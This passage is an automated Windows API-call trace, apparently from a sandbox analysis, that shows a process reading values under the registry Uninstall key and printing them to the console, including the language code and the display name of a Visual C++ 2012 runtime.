dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.547] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.547] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.547] __iob_func () returned 0x7fefd702a80 [0148.547] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.547] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0xb00ee66") returned 9 [0148.547] _fileno (_File=0x7fefd702ab0) returned 1 [0148.547] _errno () returned 0xc4bb0 [0148.547] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.547] _errno () returned 0xc4bb0 [0148.547] GetFileType (hFile=0x50) returned 0x1 [0148.547] lstrlenW (lpString="0xb00ee66") returned 9 [0148.547] GetConsoleOutputCP () returned 0x1b5 [0148.547] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xb00ee66", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.547] GetConsoleOutputCP () returned 0x1b5 [0148.547] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xb00ee66", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0xb00ee66", lpUsedDefaultChar=0x0) returned 9 [0148.547] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.547] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.547] __iob_func () returned 0x7fefd702a80 [0148.547] _fileno (_File=0x7fefd702ab0) returned 1 [0148.547] _errno () returned 0xc4bb0 [0148.547] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.547] _errno () returned 0xc4bb0 [0148.547] GetFileType (hFile=0x50) returned 0x1 [0148.547] lstrlenW (lpString="\n") returned 1 [0148.547] GetConsoleOutputCP () returned 0x1b5 [0148.548] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.548] GetConsoleOutputCP () returned 0x1b5 [0148.548] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.548] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.548] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.548] GetProcessHeap () returned 0x2e0000 [0148.548] GetProcessHeap () returned 0x2e0000 [0148.548] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.548] GetProcessHeap () returned 0x2e0000 [0148.548] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.548] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.548] RegEnumValueW (in: hKey=0x5c, dwIndex=0x17, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Language", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.548] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.548] GetProcessHeap () returned 0x2e0000 [0148.548] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.548] GetProcessHeap () returned 0x2e0000 [0148.548] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.548] GetProcessHeap () returned 0x2e0000 [0148.548] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.548] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x409, pcbData=0x23f670*=0x4) returned 0x0 [0148.548] __iob_func () returned 0x7fefd702a80 [0148.548] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.548] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.548] _fileno (_File=0x7fefd702ab0) returned 1 [0148.548] _errno () returned 0xc4bb0 [0148.548] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.548] _errno () returned 0xc4bb0 [0148.549] GetFileType (hFile=0x50) returned 0x1 [0148.549] lstrlenW (lpString=" ") returned 4 [0148.549] GetConsoleOutputCP () returned 0x1b5 [0148.549] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.549] GetConsoleOutputCP () returned 0x1b5 [0148.549] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.549] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.549] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.549] lstrlenW (lpString="Language") returned 8 [0148.549] __iob_func () returned 0x7fefd702a80 [0148.549] _fileno (_File=0x7fefd702ab0) returned 1 [0148.549] _errno () returned 0xc4bb0 [0148.549] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.549] _errno () returned 0xc4bb0 [0148.549] GetFileType (hFile=0x50) returned 0x1 [0148.549] lstrlenW (lpString="Language") returned 8 [0148.549] GetConsoleOutputCP () returned 0x1b5 [0148.549] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0148.549] GetConsoleOutputCP () returned 0x1b5 [0148.550] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Language", lpUsedDefaultChar=0x0) returned 8 [0148.550] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0148.550] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.550] __iob_func () returned 0x7fefd702a80 [0148.550] _fileno (_File=0x7fefd702ab0) returned 1 [0148.550] _errno () returned 0xc4bb0 [0148.550] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.550] _errno () returned 0xc4bb0 [0148.550] GetFileType (hFile=0x50) returned 0x1 [0148.550] lstrlenW (lpString=" ") returned 4 [0148.550] GetConsoleOutputCP () returned 0x1b5 [0148.550] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.550] GetConsoleOutputCP () returned 0x1b5 [0148.550] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.550] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.550] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.550] __iob_func () returned 0x7fefd702a80 [0148.550] _fileno (_File=0x7fefd702ab0) returned 1 [0148.550] _errno () returned 0xc4bb0 [0148.550] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.550] _errno () returned 0xc4bb0 [0148.550] GetFileType (hFile=0x50) returned 0x1 [0148.550] lstrlenW (lpString="REG_DWORD") returned 9 [0148.551] GetConsoleOutputCP () returned 0x1b5 [0148.551] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.551] GetConsoleOutputCP () returned 0x1b5 [0148.551] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.551] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.551] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.551] __iob_func () returned 0x7fefd702a80 [0148.551] _fileno (_File=0x7fefd702ab0) returned 1 [0148.551] _errno () returned 0xc4bb0 [0148.551] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.551] _errno () returned 0xc4bb0 [0148.551] GetFileType (hFile=0x50) returned 0x1 [0148.551] lstrlenW (lpString=" ") returned 4 [0148.551] GetConsoleOutputCP () returned 0x1b5 [0148.552] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.552] GetConsoleOutputCP () returned 0x1b5 [0148.552] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.552] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.552] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.552] __iob_func () returned 0x7fefd702a80 [0148.552] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.552] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x409") returned 5 [0148.552] _fileno (_File=0x7fefd702ab0) returned 1 [0148.552] _errno () returned 0xc4bb0 [0148.552] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.552] _errno () returned 0xc4bb0 [0148.552] GetFileType (hFile=0x50) returned 0x1 [0148.552] lstrlenW (lpString="0x409") returned 5 [0148.552] GetConsoleOutputCP () returned 0x1b5 [0148.552] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x409", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0148.552] GetConsoleOutputCP () returned 0x1b5 [0148.552] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x409", cchWideChar=5, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x409", lpUsedDefaultChar=0x0) returned 5 [0148.552] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 5 [0148.552] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.552] __iob_func () returned 0x7fefd702a80 [0148.553] _fileno (_File=0x7fefd702ab0) returned 1 [0148.553] _errno () returned 0xc4bb0 [0148.553] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.553] _errno () returned 0xc4bb0 [0148.553] GetFileType (hFile=0x50) returned 0x1 [0148.553] lstrlenW (lpString="\n") returned 1 [0148.553] GetConsoleOutputCP () returned 0x1b5 [0148.553] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.553] GetConsoleOutputCP () returned 0x1b5 [0148.553] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.553] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.553] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.553] GetProcessHeap () returned 0x2e0000 [0148.553] GetProcessHeap () returned 0x2e0000 [0148.553] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.553] GetProcessHeap () returned 0x2e0000 [0148.553] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.553] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.553] RegEnumValueW (in: hKey=0x5c, dwIndex=0x18, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.553] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x78) returned 0x0 [0148.553] GetProcessHeap () returned 0x2e0000 [0148.553] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x7a) returned 0x302970 [0148.553] GetProcessHeap () returned 0x2e0000 [0148.553] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970) returned 1 [0148.553] GetProcessHeap () returned 0x2e0000 [0148.553] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x302970) returned 0x7a [0148.554] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x302970, pcbData=0x23f670*=0x78 | out: pdwType=0x23f5f0*=0x1, pvData="Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030", pcbData=0x23f670*=0x76) returned 0x0 [0148.554] __iob_func () returned 0x7fefd702a80 [0148.554] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.554] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.554] _fileno (_File=0x7fefd702ab0) returned 1 [0148.554] _errno () returned 0xc4bb0 [0148.554] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.554] _errno () returned 0xc4bb0 [0148.554] GetFileType (hFile=0x50) returned 0x1 [0148.554] lstrlenW (lpString=" ") returned 4 [0148.554] GetConsoleOutputCP () returned 0x1b5 [0148.554] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.554] GetConsoleOutputCP () returned 0x1b5 [0148.554] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.554] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.554] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.554] lstrlenW (lpString="DisplayName") returned 11 [0148.554] __iob_func () returned 0x7fefd702a80 [0148.554] _fileno (_File=0x7fefd702ab0) returned 1 [0148.554] _errno () returned 0xc4bb0 [0148.554] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.554] _errno () returned 0xc4bb0 [0148.554] GetFileType (hFile=0x50) returned 0x1 [0148.554] lstrlenW (lpString="DisplayName") returned 11 [0148.554] GetConsoleOutputCP () returned 0x1b5 [0148.555] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0148.555] GetConsoleOutputCP () returned 0x1b5 [0148.555] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayName", lpUsedDefaultChar=0x0) returned 11 [0148.555] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0148.555] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.555] __iob_func () returned 0x7fefd702a80 [0148.555] _fileno (_File=0x7fefd702ab0) returned 1 [0148.555] _errno () returned 0xc4bb0 [0148.555] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.555] _errno () returned 0xc4bb0 [0148.555] GetFileType (hFile=0x50) returned 0x1 [0148.555] lstrlenW (lpString=" ") returned 4 [0148.555] GetConsoleOutputCP () returned 0x1b5 [0148.555] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.555] GetConsoleOutputCP () returned 0x1b5 [0148.555] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.555] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.555] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.555] __iob_func () returned 0x7fefd702a80 [0148.555] _fileno (_File=0x7fefd702ab0) returned 1 [0148.555] _errno () returned 0xc4bb0 [0148.555] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.555] _errno () returned 0xc4bb0 [0148.556] GetFileType (hFile=0x50) returned 0x1 [0148.556] lstrlenW (lpString="REG_SZ") returned 6 [0148.556] GetConsoleOutputCP () returned 0x1b5 [0148.556] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.556] GetConsoleOutputCP () returned 0x1b5 [0148.556] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.556] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.556] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.556] __iob_func () returned 0x7fefd702a80 [0148.556] _fileno (_File=0x7fefd702ab0) returned 1 [0148.556] _errno () returned 0xc4bb0 [0148.556] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.556] _errno () returned 0xc4bb0 [0148.556] GetFileType (hFile=0x50) returned 0x1 [0148.556] lstrlenW (lpString=" ") returned 4 [0148.556] GetConsoleOutputCP () returned 0x1b5 [0148.556] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.556] GetConsoleOutputCP () returned 0x1b5 [0148.556] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.556] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.556] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.557] __iob_func () returned 0x7fefd702a80 [0148.557] _fileno (_File=0x7fefd702ab0) returned 1 [0148.557] _errno () returned 0xc4bb0 [0148.557] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.557] _errno () returned 0xc4bb0 [0148.557] GetFileType (hFile=0x50) returned 0x1 [0148.557] lstrlenW (lpString="Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030") returned 58 [0148.557] GetConsoleOutputCP () returned 0x1b5 [0148.557] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030", cchWideChar=58, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 58 [0148.557] GetConsoleOutputCP () returned 0x1b5 [0148.557] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030", cchWideChar=58, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030", lpUsedDefaultChar=0x0) returned 58 [0148.557] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 58 [0148.557] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.557] __iob_func () returned 0x7fefd702a80 [0148.557] _fileno (_File=0x7fefd702ab0) returned 1 [0148.557] _errno () returned 0xc4bb0 [0148.557] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.557] _errno () returned 0xc4bb0 [0148.557] GetFileType (hFile=0x50) returned 0x1 [0148.557] lstrlenW (lpString="\n") returned 1 [0148.557] GetConsoleOutputCP () returned 0x1b5 [0148.557] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.558] GetConsoleOutputCP () returned 0x1b5 [0148.558] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.558] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.558] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.558] GetProcessHeap () returned 0x2e0000 [0148.558] GetProcessHeap () returned 0x2e0000 [0148.558] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970) returned 1 [0148.558] GetProcessHeap () returned 0x2e0000 [0148.558] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x302970) returned 0x7a [0148.558] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970 | out: hHeap=0x2e0000) returned 1 [0148.558] __iob_func () returned 0x7fefd702a80 [0148.558] _fileno (_File=0x7fefd702ab0) returned 1 [0148.558] _errno () returned 0xc4bb0 [0148.558] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.558] _errno () returned 0xc4bb0 [0148.558] GetFileType (hFile=0x50) returned 0x1 [0148.558] lstrlenW (lpString="\n") returned 1 [0148.558] GetConsoleOutputCP () returned 0x1b5 [0148.558] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.558] GetConsoleOutputCP () returned 0x1b5 [0148.558] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.558] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.558] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.559] GetProcessHeap () returned 0x2e0000 [0148.559] GetProcessHeap () returned 0x2e0000 [0148.559] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bc0) returned 1 [0148.559] GetProcessHeap () returned 0x2e0000 [0148.559] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bc0) returned 0x28 [0148.559] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bc0 | out: hHeap=0x2e0000) returned 1 [0148.559] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x23f784, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x23f784*=0x0, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0148.559] GetProcessHeap () returned 0x2e0000 [0148.559] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fcda0 [0148.559] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}") returned 109 [0148.559] 